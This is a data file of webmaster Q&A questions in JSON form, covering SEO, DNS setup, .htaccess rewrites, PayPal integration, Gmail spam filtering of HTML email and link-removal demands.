{"id":"44879","title":"\"Not Provided\" keywords from Google search: If your site uses https, does Google always send the keywords in the referrer?","text":"Over the last two years the number of \"keyword not provided\" referrals from Google Search has grown to close to 30% for my websites. Google does not send the keyword in the referer URL when the user is logged into Google or searching Google via https. I've heard rumors that if your entire site is https, Google does not withhold this referrer information from your website. When sending traffic to a https website Google will send the keyword, even when the user is logged in or using https on Google. Is this true?"}
{"id":"9874","title":"How do URLs work in a country with non-latin chars?","text":"How do URLs work in other countries? Let's say India or China that use non A-Z characters. Do they use English terms in the URL? Or can they write characters in urls like: > सच्चाई.html"}
{"id":"9872","title":"Disqus-like comment server","text":"I'm looking at setting up a blog, and I think I want to go the static website compiler route, rather than the perhaps more conventional Wordpress route. I'm looking at using blogofile, but could use jekyll as well. These tools recommend using disqus to embed a javascript comment widget on blog posts. I'd go that route, but I'd rather host the comments myself, rather than use a third party. I could certainly write my own dirt-simple comment server, but I was wondering if anyone knew of one that already exists (of the open source variety). Thanks!"}
{"id":"19809","title":"Author rel tag works on one author but not another","text":"Here's one page I've managed to get authors set up on properly, no errors: http:\/\/www.google.com\/webmasters\/tools\/richsnippets?url=http%3A%2F%2Fwww.scirra.com%2Fblog%2F42%2Fwelcome- to-the-new-website&view= And here is one on another that throws an error with a different author: http:\/\/www.google.com\/webmasters\/tools\/richsnippets?url=http%3A%2F%2Fwww.scirra.com%2Fblog%2F46%2Fmore- on-html5-audio-codecs-and-politics&view= > Error: Google Profile does not link to article site As far as I can tell, they are both identical in the way they are set up! I am really struggling to see the differences here. Can anyone tell me what's going on? Ashley's Google profile has a link set up to his profile page and we did check the box saying \"This is about me\"."}
{"id":"32889","title":"Forwarding -- ok for SEO, or should I reinstall WordPress at the forwarded domain?","text":"If my main market is UK, and I have both: mydomain.co.uk and: mydomain.com and I want to market the site using the .co.uk domain and I only have one set of content -- one website, that I want to be seen by visitors to either domain.. and I have a WordPress site at mydomain.com, with url forwarding (with masking I think it is) so people can go to the .co.uk domain and see the content of the dotcom domain, is that ok from an SEO point of view (or from any other point of view)? Or is it better to reinstall WordPress so it's at the .co.uk domain, with forwarding of the .com domain?"}
{"id":"14435","title":"Has anybody split tested one password field versus password & confirm on registrations?","text":"I'm just curious to see if this is something really worth testing, as it will require some coding to achieve."}
{"id":"14437","title":"Problem with DNS setup on vps","text":"I got a strange message from my server today: [\"The hostname (vps.listgiants.com) resolves to . It should resolve to 69.36.94.251. Please be sure to correct \/etc\/hosts as well as the 'A' entry in zone file for the domain. Some are all of these problems can be caused by \/etc\/resolv.conf being setup incorrectly. Please check this file if you believe everything else is correct. You may be able to automatically correct this problem by using the 'Add an A entry for your hostname' option under 'Dns Functions' in your Web Host Manager.\"] I have not made any changes to the DNS and my hosting company is completely hands off so they cannot help me. I have an A entry as 69.36.94.251 as they recommend. resolv.conf is as it should be as well. Another problem is that my domain, listgiants.com points to another vps I own: 69.36.87.254. What else can I try to get it working?"}
{"id":"61275","title":"How does stackexchange websites manage to have google see multiple questions as multiple webpages?","text":"I'm not a web developer and I had some basic experiences of web developing (I made my own website some time ago, played around with php, css, some asp.net and other pretty straightforward stuff) but right now I'm asking myself out of pure curiosity: how does stackexchange websites manage to show their questions to google (or any other search engine) as \"different webpages\" ? I mean: there are a lot of questions and posts which are surely stored in a database, but regarding the formatting of the page (that is always the same) I suppose each time a new question with relative answers is loaded, something like php's `include` is used (or ajax calls which load stuff into a stub-page, I never used ajax so I'm quite unsure on how this process works). TL;DR: how does google see multiple webpages (as if they were looking at static .html pages) even if the contents are fetched from a database per each question?"}
{"id":"11150","title":"Website security","text":"I have a website which uses membership\/roles for security. However, I really want this site to be secure. My concern is one day something happens to server and the membership\/roles is turned off. Is there anyway that I could add an additional layer of security to website that would not be too intrusive? This would be \"on-top\" of the ASP.NET security. My thought would be maybe a session cookie that is sent when a password is answered correctly. Looking for ideas. I primarily want keep the site secure even if the security on the website is turned off. In worst case scenario, I imagine that someone might could even browse the files. This would require me to put the check in every page which sounds very cumbersome and a hack."}
{"id":"58160","title":"Error using In-Page Analytics report in Google Analytics","text":"We are unable to use the In-Page Analytics report in Google Analytics because our site now redirects to a URL which is different from what is in our Account setting. Are there any workarounds which will give us the In-Page Analytics and not impact our history data?"}
{"id":"24516","title":"Building a restaurant site... How should I implement online ordering?","text":"I have been looking into different 3rd party solutions for this for some time now, and have been disappointed in that I cannot find a decent comparison of features, or really any recommendations at all. I have managed to compile a list of different options I've found: **3rd party hosted online ordering systems** * http:\/\/www.menudrive.com\/ * http:\/\/onlineordering.com\/ * http:\/\/cafetech.net * http:\/\/www.ezwaiter.com\/ * http:\/\/openmenu.com\/ * http:\/\/www.compelcart.com\/ * https:\/\/www.opendining.net (has WP & FB plugins) * http:\/\/pizzagalaxy.com\/ * http:\/\/www.edcinteractive.com\/ * http:\/\/www.mealclick.com I've found that the majority of these look absolutely horrid, and do not provide the ability to edit the layout (or even the css). I really just want something someone can order a pizza with, and have it be relatively seamless, maintaining the look of the site"}
{"id":"14439","title":"In a simple Paypal web store, how can you add multiple items to the cart with one page load?","text":"I use the Paypal \"Website Payments Standard\" system on my website - I believe this is their term for the simple style of \"Add to cart\" button that you can set up under Merchant tools in your Paypal profile. The way it works is that you set up the button's price, name and shipping details in Paypal's interface, then you paste it into your page. It is safest to have them host the button's price data, because then the user cannot edit the price to be lower. This is easy enough, but in my small-ish web store of 10 items, I feel that I am losing opportunities to sell more stuff due to the fact adding each item means 1. Clicking \"add to cart\" for that item 2. Reviewing the cart on the Paypal page that loads 3. clicking \"Continue Shopping\". It's messy and ugly. What I wanted to know is if there's a way around this clunky method that sticks with the Paypal-hosted buttons system, and doesn't introduce an alternate pre-Paypal shopping cart to confuse things and upset customers. I imagine being able to replace the \"add to cart\" button with \"Added to cart!\" once clicked, while in the background Paypal is informed that the button was clicked. http:\/\/www.simplecartjs.com\/ is an example of a system that lets you add multiple things to a cart before submitting, but it does it with a GET string that'd be very easy to manipulate. The buttons aren't hosted on Paypal, in other words. It also has a duplicated cart that I think might get confusing for people (though that's not a dealbreaker, and could be worked around.)"}
{"id":"24510","title":"Dropping adverts during responsive design changes","text":"I was looking at the new Smashing Magazine design and first of I have to say, it looks great. One thing that grabbed my attention though was that the Right Hand Side adverts get dropped during the 'first stage' of the site shrinking down to a more mobile friendly version. Obviously when the ads are referral based the only people that are getting hurt are the webmasters that made the change, but what about when advertisers are paying for a certain slot. If webmasters decide to make their sites act responsively (and I think we should) should we be selling ad space per window size? I also wonder if there has been any examples of people maybe going from banner \/ image based adverts to text based on smaller window sizes?"}
{"id":"24512","title":"I am looking for a good free domain","text":"I am looking for a good free domain based upon these criteria : 1. No ads. 2. Full DNS management. 3. Free renewal for both personal and business use. 4. No any requirement to maintain the domain name. Please tell me if you know one. Thank in advance !"}
{"id":"47398","title":"I'm building a social media website and need terms and conditions template. What is the best way to get it?","text":"I was thinking of getting certain sections from different websites to use to build my terms and conditions or can I just use twitters terms and conditions ?"}
{"id":"1504","title":"Are there any WordPress themes optimized as a \"starting point\" for custom theme development?","text":"I found this \"blank\" theme, but I was wondering if there are any other themes that provide a template for custom theme development. I'm looking for something that, out of the box, provides a very simple theme with validating HTML (XHTML1.1, HTML 4.1 Strict, or HTML5) and CSS (CSS2 or CSS3). Then, I want to build on this theme to make a custom WordPress theme for my personal site\/blog. I've never developed a WordPress theme, but armed with the documentation and a basic knowledge of HTML and CSS and a bit of PHP experience, I should be able to make something that's my own."}
{"id":"47390","title":"SEO implications of having multiple languages available at same URL","text":"I am in the process of translating a set of websites to multiple languages. Would there be any negative implications if I were to serve each different language from identical URLs? I fully intend to fully implement translated URLs, hreflang meta tags, etc. But before I do that (and start risking making a mistake where Google might start seeing duplicate content) I'd like to be able to implement the translations to make sure everything \"works\" OK. But will Google see that as \"cloaking\" or something else \"black hat\" because I'm serving different content from the same URL? Just to be clear, the language would be selected by a POST form, set a session variable for the user, and then use that session variable for the rest of the session. **Edit** I'm aware of the best practices for multilingual sites. I just don't want to implement them all at this time. It's a large project, so I'll be doing it in phases. I mostly want to know if I could be penalized by Google in any way. Also, the websites sniff the users Browser language, and if we have that translation will serve it to them seamlessly. If we don't have that language, they'll get the English default."}
{"id":"3080","title":"SEO: Is there a limit to how long titles\/descriptions should be?","text":"I am trying to fill up title and meta description for my Tumblr blog. The way I will do that is via the themes. For the title, it isn't too much of an issue, I can just get the title for the post although some post types do not have titles. The **main question is about the description**. I am thinking of **using the start of the body content**. For now, there is no way to limit the length of body content. I wonder **if its OK to have the whole body in the description**? I have contacted Tumblr support to suggest that they have a way of creating limiting text length in their template tags."}
{"id":"53103","title":"Are there disadvantages an literal + instead of an encoded + (%2B) in an URL?","text":"A client of mine has a product ending with a plus-sign (e.g. Google+) and would like the webpage of this product to have an URL that is human-readable (i.e. an URL that doesn't contain %2B). Since our projects use the following .htaccess RewriteRule `RewriteRule ^(.*)$ index.php?$1` it is possible to use an urlencoded space in an URL like that. However, while the url would read like `\/google+`, the actual meaning of the URL would be `\/google[space]`. (The markup won't let me place a real space there.) Now my concern is that this would have disadvantages for SEO. Is this concern valid and\/or are there other culprits to this approach?"}
{"id":"19475","title":"Paypal - specify limited or indefinite subscription service","text":"I'm creating a paypal check-out form for a subscription service. Paypal allows me to specify the \"reacurring times\" of the subscription with the \"srt\" option: https:\/\/cms.paypal.com\/us\/cgi-bin\/?cmd=_render- content&content_ID=developer\/e_howto_html_Appx_websitestandard_htmlvariables I would like to create a drop-down list that allows the customer to select either an indefinite number of times or a specific number of times. The select would probably look like this, however, I'm unsure how to specify an unlimited duration. Should I leave the value blank, or is there a way not to send the variable through at all?: <select name=\"srt\"> <option value=\"1\"><\/option> <!-- One time --> <option value=\"9\"><\/option> <!-- Nine times --> <option value=\"\"><\/option> <!-- Indefinitely?? --> <\/select> I'm unsure how to handle this use case. Any help would be appreciated. Thanks! **Update:** It also looks like its impossible to specify srt=\"1\" (the first option). When this option is selected, paypal rejects the link as invalid because a subscription service must be more than one time. From my understanding. Only wants to purchase one interval, then another option: \"src\" must be set to \"0\". Can I do this with one html drop-down, or do I need to use javascript to respond to user input and then change hidden form values accordingly?"}
{"id":"35358","title":"Sending HTML to Gmail always lands in Spam","text":"I am having an issue with sending HTML emails to Gmail. I can send them to Yahoo, Hotmail, RR, AOL, etc. with no problem at all, but when I send them to Gmail I get kicked to spam. I have checked my IP with a lot of different list to make sure it is not listed anywhere, which it is not. spamhaus = is not listed in the DBL abuse.net = is not listed in the SBL abuse.net = is not listed in the PBL abuse.net = is not listed in the XBL spamcop = not listed in bl.spamcop.net host 24.172.204.xxx xxx.204.172.24.in-addr.arpa domain name pointer xxxevents.com. host xxxevents.com xxxevents.com has address 24.172.204.xxx xxxevents.com mail is handled by 10 mail.xxxevents.com. I am just trying to send a very VERY basic HTML message (listed below). I use an Ubuntu server, swiftmailer, multipart\/alternative (HTML & plain), SPF = pass, and I am going to setup DKIM today to see if that fixes it (but I doubt it will)... For now I will only post the message I sent that gets kicked to spam and can provide any details needed. <!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd\"> <html xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\"> <head><title>Triathlon<\/title><\/head> <body> <table cellpadding=\"0\" cellspacing=\"0\"> <tr> <td> <p>Thank you for attending our 4th annual Triathlon\/Duathlon\/5k at Hueston Woods State Park on August 12th. This event is held annually to raise research funding for Crohn's Disease, Ulcerative Colitis, and Muscular Dystrophy diseases.<\/p> <\/td> <\/tr> <tr> <td> <p>As you know the results and pictures have been posted on our home page at since Sunday 8\/13\/2012. Now we also have updated our Facebook page with those photos and you can start tagging yourself or downloading the pictures now! <br \/> our page and tag yourself at <\/p> <p> test test <\/p> <p>Race day events is professionally managed by Speedy-Feet<\/p> <\/td> <\/tr> <\/table> <\/body> <\/html> Just plain text works great, I thought maybe wording was messing me up but not the case... I am almost done install opendkim so I will be able to rule that out very soon. **Edit:** Okay installed opendkim and I am getting passing results so I sent the html I posted above it went through just fine. So now when I start to add a few more lines I am getting kicked back to spam again. Here is updated html code: ` <!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd\"> <html xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\"> <head><title>Triathlon<\/title><\/head> <body> <table cellpadding=\"0\" cellspacing=\"0\"> <tr> <td> <center><a href='http:\/\/xxxevents.com' target=\"_blank\"> <font face=\"Verdana, Arial, Helvetica, sans-serif\" color=\"#666666\" size=\"2\"> <img src=\"http:\/\/xxxevents.com\/marketemailimages\/xxxlogo.png\" alt=\"xxx It Events | Raising funds for Crohns, Colitis, and Muscular Dystrophy\" border=\"0\" \/> <\/font><\/a><\/center> <\/td> <\/tr> <tr> <td> <p>Thank you for attending our 4th annual Triathlon\/Duathlon\/5k at Hueston Woods State Park on August 12th. This event is held annually to raise research funding for Crohn's Disease, Ulcerative Colitis, and Muscular Dystrophy diseases.<\/p> <\/td> <\/tr> <tr> <td> <p>As you know the results and pictures have been posted on our home page at since Sunday 8\/13\/2012. Now we also have updated our Facebook page with those photos and you can start tagging yourself or downloading the pictures now! <br \/> our page and tag yourself at <\/p> <p> test test <\/p> <p>Race day events is professionally managed by Speedy-Feet<\/p> <\/td> <\/tr> <\/table> <table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"> <tr> <td valign=\"top\"> <div align=\"center\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;\"><br \/>PO Box xxx Maineville, OH 45039<br \/> <a href=\"mailto:customerservice@xxxevents.com\">customerservice@xxxevents.com<\/a> | <a href='http:\/\/xxxevents.com' target=\"_blank\">xxxevents.com<\/a><br \/> <br \/> <\/div> <\/td> <\/tr> <\/table> <\/body> <\/html>` EDIT: Thank you for your response Andrew, unfortunately that did not fix my issue.... I tried sending the exact message above (not containing any spam) and its still being caught. I am at wits end with gmail. Although I seriously doubt it is a system setting that is throwing me off, I am more than happy to email any information you may need to help me though this... As stated before my ip is clear, html validates with W3, removed all usage of spammy verbiage, and stripped out anything that I can think of that would cause it go to spam, send it and wham spam.... EDIT: Thank you for your response Nick, Yes xxx was simply to mask it, although I am starting to think I will not get resolution this way. If you think it will help let me know and I will just post the real html and we can see if we can get this thing going. EDIT: Thank you for your response Gabriel, I double checked my ip and got the follow results; Test Result SMTP Reverse Dns OK - 24.172.204.xxx resolves to xxxevents.com SMTP Reverse DNS Mismatch OK - Reverse DNS matches SMTP Banner SMTP TLS OK - Supports TLS. SMTP Connection Time 0 seconds - Good on Connection time SMTP Open Relay OK - Not an open relay. SMTP Transaction Time 0.593 seconds - Good on Transaction Time Okay lets try it like this, this is the original message (quoted-printable) sent. xxx is just add for posting purposes. So if I send ` Content-Type: text\/html; charset=utf-8 Content-Transfer-Encoding: quoted- printable Thank you for attending our 4th annual Triathlon\/= Duathlon\/5k at Hueston Woods State Park on August 12th. This event is= held annually to raise research funding for Crohn's Disease, Ulcerative= Colitis, and Muscular Dystrophy diseases. As you know the r= esults and pictures have been posted on our home page at since Sunday 8= \/13\/2012. Now we also have updated our Facebook page with those photos a= nd you can start tagging yourself or downloading the pictures now! o= ur page and tag yourself at test test Race day events is profess= ionally managed by Speedy-Feet PO Box xxx Maineville, OH xxx39<= table cellspacing=3D'0' cellpadding=3D'0'>This email was sent to xxx@gmail.com if you would like to = be removed click here http:\/\/xxxevents.com\/removeme.php?rem= ove=3Dxxx@gmail.com' > http:\/\/xxxevents.com\/removeme.php?re= move=3Dxxx@gmail.com` It goes through just fine, no issues at all. However if I send this; ` Content-Type: text\/html; charset=utf-8 Content-Transfer-Encoding: quoted- printable Thank you= for attending our 4th annual Triathlon\/Duathlon\/5k at Hueston Woods Sta= te Park on August 12th. This event is held annually to raise research fu= nding for Crohn's Disease, Ulcerative Colitis, and Muscular Dystrophy di= seases. * * * As you know the results and pictures have been po= sted on our home page at since Sunday 8\/13\/2012. Now we also have updat= ed our Facebook page with those photos and you can start tagging yoursel= f or downloading the pictures now! our page and tag yourself at <= hr \/> Race day events is professionally managed by Speedy-Feet P= O Box xxx Maineville, OH xxx39 This email was sent to xxx@gmail.com if you would like to be re= moved click here http:\/\/xxxevents.com\/removeme.php?remo= ve=3Dxxx@gmail.com' > http:\/\/xxxevents.com\/removeme.php?rem= ove=3Dxxx@gmail.com > ` Then it goes straight to spam.... Its the exact same message the only difference are the tables, the links everything is exactly the same.... I just dont understand."}
{"id":"18260","title":"How do I view ALL blog posts in an RSS feed?","text":"I have a blog and its posts date back all the way to March of 2009. However, when I visit my feed url (it's feedburner), the oldest post that shows up on that page is one written in February of 2011. How do I view ALL posts on a blog with a feed url?"}
{"id":"13804","title":"DNS add-on domain setup and redirect","text":"I have several domains which I'd like to point to another (I'll call it foo.com). A couple of things aren't entirely clear to me. First, the DNS. I'm using Kloxo\/HyperVM. Do I need to create separate DNS entries for each domain? Or do I just create separate CNAME or other records under foo.com? I thought it was the latter but when I click on \"Add CNAME\" I'm prompted to fill in the subdomain portion of foo.com. The nameservers have already been set to point to my VPS. For the redirect, would the following be appropriate within the vhost conf for foo.com? ServerName www.foo.com ServerAlias foo.com foo.net foo.org bar.com bar.net bar.org RewriteCond %{HTTP_HOST} ^foo.com [NC] RewriteCond %{HTTP_HOST} *foo.net [NC,OR] RewriteCond %{HTTP_HOST} *foo.org [NC,OR] RewriteCond %{HTTP_HOST} *bar.com [NC,OR] RewriteCond %{HTTP_HOST} *bar.net [NC,OR] RewriteCond %{HTTP_HOST} *bar.org [NC] RewriteRule ^(.*)$ http:\/\/www.foo.com\/$1 [R=301,NC] (The first condition is just to force the \"www\" part)"}
{"id":"13807","title":"domain name suggestion tool (SEO friendly)","text":"I'm looking to purchase a domain, and of couse the one that I really want is taken, what would be best way to find an alternative domain that would rate good for SEO?"}
{"id":"19471","title":"File permission problem with codeignitor project using xampp","text":"I am currently using Codeignitor as my PHP framework with XAMPP. I always keep all my files in c:\/xampp\/htdocs\/. The settings are working fine in my own localhost machine. But when I load the same project in other machines connected via a router only the hypertext that is within the Codeignitor framework i.e inside application and system folder are getting displayed. But the external sources like stylesheets, images are not being displayed. On other machines I can access the project via the following URL. http:\/\/my_ip\/project_route And on my own machine I can access it via `http:\/\/localhost\/project_route` But the strange thing is that projects that do not use codeignitor are doing fine in both my machine and the others locally connected via router. I think the problem is arising bacause due to the file permissions of the external resources(css,images etc.). can this problem be solved with .htaccess or any other mechanism? OS:windows 7 I appreciate any help towords this."}
{"id":"13801","title":"Mod RewriteRule not working on all URL's","text":"this is my .htaccess Options +FollowSymLinks RewriteRule ^(.*)wp-content\/uploads\/(.*) $1watermark.php?src=wp-content\/uploads\/$2 # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> # END WordPress * * * this line is my issue RewriteRule ^(.*)wp-content\/uploads\/(.*) $1watermark.php?src=wp-content\/uploads\/$2 * * * all my images are in subfolders within wp-content\/uploads. an example of http:\/\/darrenkynochphotography.co.uk\/wp- content\/uploads\/2008\/09\/darrenprofile.jpg does what it should and redirects the image through a watermark script. But this example http:\/\/darrenkynochphotography.co.uk\/wp- content\/uploads\/2011\/05\/23-2-950x635.jpg doesnt work at all, along with any other images. I cant see where i am going wrong here at all as it should work"}
{"id":"28173","title":"SOPA PIPA CISPA and Similliar Laws","text":"If we use non-US domain names, DNS and webhosting will we avoid these laws if any of them come to pass?"}
{"id":"3880","title":"Which web directories can I reliably invest in to increase my traffic and search ranking?","text":"I've been looking around for some web directories to list my company in that would 1) Feed more traffic to my website and 2) Increase my search rankings due to being a quality referral to my own website. There are many sites out there offering these services for all types of companies, but are there any which you would definitely use without worrying about wasting your cash? Thanks in advance."}
{"id":"38323","title":"SEO and external sites that serve responsive images (like Re-SRC)","text":"Re-SRC is a tool that allows you to automatically serve responsive images for your website from their cloud servers. It delivers a new image file each time the browser window (viewport) is resized. To use it in your HTML when linking to an image, you would do the following: <img src=\"http:\/\/app.resrc.it\/\/www.your-domain.com\/img\/img001.jpg\"\/> Some more background for SEO considerations: As an example, looking at their demo page's code, the `src` of the Arc de Triomphe photo — when the browser window is resized to be at a tablet-width — shows this particular file at it's widest. It is found under the following URL: http:\/\/app4-uk.resrc.it\/s=w560,pd1\/ro=h\/\/www.resrc.it\/img\/demo\/demo- image-1.jpg If the viewport is increased to desktop-width, then a smaller image is served in line with the design; see this URL: http:\/\/app4-uk.resrc.it\/s=w320,pd1\/ro=h\/\/www.resrc.it\/img\/demo\/demo- image-1.jpg If I change the viewport to be about half-way between those two, then the image's URL is: http:\/\/app4-uk.resrc.it\/s=w240,pd1\/ro=h\/\/www.resrc.it\/img\/demo\/demo- image-1.jpg In other words, I found that there is a separate file for every 10-pixel increment of the image width. Very cool for saving bandwidth on mobile devices and service responsive\/retina images on others, but... **Here are two problems I see for SEO:** 1. The `img` on your site, part of your semantic markup, will not be hosted on your site at all, or even a server you control. Any links to these images will pass on \"link juice\" to Re-SRC's site instead. 2. You are serving a vast array of different image files to different people — some may link to one, others to another size. Then there's the question of what different search engine crawlers will see. Also: * There seems to be no fallback option if their servers are down. Do you see any other concerns? Or, perhaps, do you not see those as concerns? * * * I also found out that when JavaScript is disabled (though search engines do crawl with JS in their inventory as well) — Re-SRC returns really pixelated images on it's demo page: "}
{"id":"38327","title":"Can i link to other websites in my newsletter?","text":"I'm intrested in adding several intresting articles on my newsletter from other websites. Am i allowed to do that in general or every website has it's own rules?"}
{"id":"18266","title":"Photography website: How much quality to sacrifice for file size?","text":"I am designing a website for a Photographer. Obviously I compressed the images so that they would load faster and not use all the visitors cap. (There is quite a few gbs of pictures so that would just about take all of my bandwidth for a month if I were to browse all the albums.) The photographer was worried that having \"pixelated\" or bad resolution images on her website would create an unproffesional image for herself. How much quality can I sacrifice against professionality? Does it indeed reflect on the photographer if the pictures are in low resolution or will people simply understand the nature of the web?"}
{"id":"38324","title":"Create subdomains via C-Panel or via domain registrar?","text":"I am a novice, so excuse me if it sounds dummy. I read a few similar questions on this topic here but they did not answer my question. I have a personal website, hosted with C-panel control panel. Via C-panel I can easily create new subdomains and I do not need to apply any DNS settings or so. And the subdomian is good to go immediately and are working fine. I have unlimited subdomains option. When I check my DNS management control panel in my domain registrar's site, there is no record associated with my subdomains. Now I want to buy a new domain name from 1and1, and have it as an add-on domain in my prevouse host. 1and1 say they only allow 5 subdomains. What does this mean? Can not I create unlimited subdomains under my new domain name, just as I do for my old domain? How does C-panel create and manage subdomains that there is nothing about it in my DNS control panel? Thanks for your help"}
{"id":"32045","title":"Getting Destroyed on SEO","text":"So I've launched a website and I'm working on SEO. Recently, many of my #1 result pages have completely evaporated from google. I am guessing Google is spam-flagging my site, and I have no idea what to do. Every page has at least a paragraph of unique content, my site has been backlinked from media articles (Google doesn't seem to think I have any backlinks) and I've been including tags in the URL (redirecting old links with a 301). My pages are very template-generic, yet that's just because of the design. Each page is indeed unique."}
{"id":"55414","title":"Implemented wrong 301 redirect and now traffic is decreasing","text":"Last week we migrated our legacy site to a new site created via WordPress. I implemented all 301 redirects, but a lot of them were done improperly by my developer. As such, a lot of pages were pointing to a root category (`http:\/\/www.example.com\/how-children-develop\/`) instead of the proper page. Now this \"how children develop\" page is indexed and serving for search terms that I used to rank really well for, but much lower in the SERPs. That said, my organic traffic has gone from ~800 visits per day to ~100 and keeps falling. I've fixed all of the improper redirects (did this on Tuesday) and added the proper ones, but my rankings are not rebounding. Am I going to recover from the wrong 301 redirects?"}
{"id":"55143","title":"Can I determine how much crossover traffic there is between sections on my site?","text":"Let's say I have three sections on my shopping site: Men, Women, and Kids. I want to find out the proportion of visitors to \/men\/ who also go to \/women\/ or \/kids\/ etc. I don't care specifically about the top level pages, but rather about visitors to any page within the section. Is this possible using Google Analytics? Thanks!"}
{"id":"13403","title":"Name Server \/ DNS Lookup","text":"What is the difference between a name server lookup and a DNS lookup?"}
{"id":"56148","title":"Apache rewrite rule to add a directory in front of a file","text":"I have an HTML page in my root directory, and when someone clicks it I'd like there to be a directory before the file name, that doesn't exist. For example, instead of just being able to access: > wwww.example.com\/link.html This would also work: > wwww.example.com\/ **folder** \/link.html Can this be done with a rewrite rule?"}
{"id":"33846","title":"How to deal with overly aggressive \"Link Take Down Demands\"?","text":"I've been receiving a large number of emails recently requesting I clean from link spam from my forum. Initially the emails were very polite and professional, and I was happy to remove the links. Recently the email have gotten very abrasive, here is a particularly rude example: > From: dmcaviolations@company-one.com To: id@privacypost.com > > Hi, This is the second time we are reaching out to you regarding your link > to our site hxxp:\/\/www.company-two.com from hxxp:\/\/www.my-forum.com\/some- > topic-id. We really do need to remove this link. We have to report to Google > any link we were unable to remove, and I wouldn't want to have to include > your site in the list. Could you please remove our link from this page and > any other page on your site? Thank You, Name Changed Behind the superficial pleasantries I feel there is some very real maliciousness. * Note the email address, DMCA Violations, I don't see how the DMCA is involved here, except as a word which tends to strike fear in many people. * Also relating to the email address, it doesn't match the company being linked to at all. How am I to trust they are truely operating on behalf of company-two when they don't even use one of it's email addresses. * My email is hidden by privacypost. While a service with legitimate uses, I feel it's highly unprofessional for communications between to companies. * The claim \"This is the second time...\" Every email I've received has started like this, but a check of my spam filters has never revealed a 1st mail. Initially I gave them the benefit of the doubt, by now though it's clear this is a cheap ploy to start me off on the defensive. * And finally worst of all- the threats of reporting me to Google if I don't do everything they ask. I sent a polite reply asking for more information. I have no idea if the email address was even valid but I never received any response. Much later I got this followup mail > From: name-changed@company-one.com To: id@privacypost.com > > Hi, This is the final time we are reaching out to you regarding your link to > our site hxxp:\/\/www.company-two.com from hxxp:\/\/www.my-forum.com\/some-topic- > id. We will soon be reporting to Google any link we were unable to remove, > and currently your site will have to be on the list. Could you please remove > our link from this page and any other page on your site? I appreciate your > urgent attention to this matter. Thank You, Name Changed This time the from address was more personal, though still not obviously connected to the spammed company. Lets be honest, I don't for one second believe that the companies were the victim of a 3rd party spammer as they claim. The links in questions were generated well over a year ago, and I firmly believe the companies were directly responsible for the spam links in question, a type of spam that has plagued my forum. Now they have the audacity to demand I spend my time cleaning up their mess, using threats to ensure they get their way. Have recent changes in Googles algorithms meant all the cash they spent spamming the web has now turned into a liability? If so I can see why these companies are all of a sudden running scared. Frankly, cleaning up my forum is a good things, but the threats they are using sickens me. So my question here is specifically about the threats: 1. Are they vaild, and would such reports to Google destroy my page rankings? 2. Is there a way I can report this abusive behaviour to Google?"}
{"id":"56490","title":"Using a server to host mail servers and redirect website requests to another server","text":"I have 2 servers. At my registrar, the DNS of my domain points to Server1. How can I set up my servers, so that Server1 redirects all Web requests for my domain to Server2. My goal is that I can change Server2 whenever I want without having to change the DNS at my registrar (and have to wait X hours for the changes to spread). I would simply change something in Server1 so that it redirects to Server3 instead of Server2 and as soon as I would do that, it would work for all visitors. Does it make sense? How would I set this up? I looked at DNS servers and slaves but I am confused."}
{"id":"56496","title":"Choose preview of a GIF in Facebook when pushed from Mailchimp","text":"I'm creating email campaigns in Mailchimp and they will also be automatically posted in Facebook. Facebook allows to create the thumbnail of the campaign by picking the GIF (http:\/\/eepurl.com\/QokP). But I'd like to choose a specific frame of the GIF as the thumbnail. Do you know if there is a way to set a frame as the default frame for a GIF preview?"}
{"id":"11521","title":"why does Plesk set up only one nameserver by default?","text":"When using Plesk 9.5 the default DNS template only includes one nameserver. An NS record of ns. and an a record ns. pointing to the default ip. Two nameserves are mandatory, so why would plesk have only one in the template. Am I missing something? I have found several hosting company guides that all explain the process of adding an extra name server to the template, that explain what I mean. https:\/\/help.fasthosts.co.uk\/app\/answers\/detail\/a_id\/727\/related\/1\/session\/L2F2LzEvdGltZS8xMzAxNjkxOTczL3NpZC9EemppX3Bxaw%3D%3D http:\/\/www.jodohost.com\/plesk\/Creating_Nameservers\/creating_nameservers.html"}
{"id":"34736","title":"How can I create multiple mini-sites with similar\/duplicate content without hurting my search engine rank?","text":"**Essential background** : I run a small company that lets members of the public post handwritten letters to their local politician (UK-based). Every week a number of early stage bills (called Early Day Motions) are submitted for debate in the House of Commons, and supporters of the motion will contact their local Members of Parliament, asking them to sign the motion. **The crux** : I want to target these EDMs with customised mini-sites, so when people search \"EDM xxx\", they find my customised mini-site, specifically targeting that EDM (i.e., \"Send a handwritten letter to your MP asking them to sign EDM xxx\"). At the moment, all these mini-sites (and my homepage) have **duplicate content** with only the relevant EDM name, number, and background image changed. (For example, http:\/\/mailmymp.com and http:\/\/mailmymp.com\/edm\/teaching-life- saving-skills-at-school-edm-550.php). **The question** : Firstly, will this hurt my potential search engine ranking? And, if so, what's the best way to target these political campaigns in an efficient manner without hurting my SEO prospects?"}
{"id":"18045","title":"Why is the title of a RSS Feed coming as \"unknown title\" in RSS feeds reader?","text":"The title of a feed is \"unknown title\" in Google reader. What could be the reason? Am I correct if I'm assuming that it should be appearing similar for all the subscribers of that feed and other feed-readers (other than Google reader) as well."}
